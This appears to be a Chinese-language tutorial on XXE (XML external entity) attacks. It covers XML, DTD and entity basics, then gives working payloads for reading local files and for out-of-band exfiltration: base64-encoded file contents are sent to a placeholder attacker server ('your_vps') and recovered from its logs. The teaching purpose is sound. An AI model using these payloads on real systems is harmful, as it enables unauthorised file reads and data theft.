1 、XXE 危害
1.读取任意文件 2.执行系统命令
3.探查内网端口 4.攻击内网网站
2、关于XML
XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议
XML 和 HTML 为不同的目的而设计
3、XML实体引用
在 XML 中,一些字符拥有特殊的意义。如果把字符 "<" 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误:
<message>if salary < 1000 then</message>
为了避免这个错误,用实体引用来代替 "<" 字符:
<message>if salary < 1000 then</message>
关于DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
DTD(文档类型定义)
DTD可定义合法的XML文档构建模块,来验证xml是否合法。
DTD可被声明在xml的文档中,也可以作为一个外部引用
1.当DTD在xml内部声明时,要用使用DOCTYPE
语法包装声明
<!DOCTYPE 根元素 [元素声明]>
2.当DTD位于xml文档外部,引用方法
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD构建实体
内部实体声明
<!ENTITY 实体名称 "实体的值">
一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)
DTD实体声明
Xml调用
<author>&writer;©right;</author>
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
当DTD位于xml文档外部,引用外部文档声明
xml引用外部实体(引用DTD文件)
payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [<!ENTITY % a SYSTEM "http://192.168.86.128/dtdfile.dtd"> %a;]> <note>&file;</note>
虚拟机上创建DTD(dtdfile.dtd)文件
<!ENTITY file SYSTEM "file:///e:/test.txt">
读取windows靶机e盘test.txt
无回显测试,可以将结果打到服务器上,查看日志,或则将结果保存为文件
引用远程服务器上的XML文件读取文件
payload:
xxe.xml
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % remote SYSTEM "http://your_vps/test.dtd"> %remote; %all; ]> <root>&send;</root>
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/get.php?file=%file;'>">
参数实体引用不能出现在内部DTD的标记声明内部
使用的php://filter将文件内容进行了base64编码,因为当我们读取的文件是php或则html文件时,文件的代码包含<
>
符号时会导致解析错误
这里声明payload实体参数,该实体参数以base64编码方式读取了windows靶机中e盘123.txt文件内容,然后做为URL参数请求到自己的服务器上。
然后请求payload,可以在日志文件中找到经过base64编码的文件内容
因为文件的内容是经过base64编码的,所以可以通过解码查看获取的内容
xml不仅可以任意读取文件,执行系统命令,探测内网端口和攻击内网网站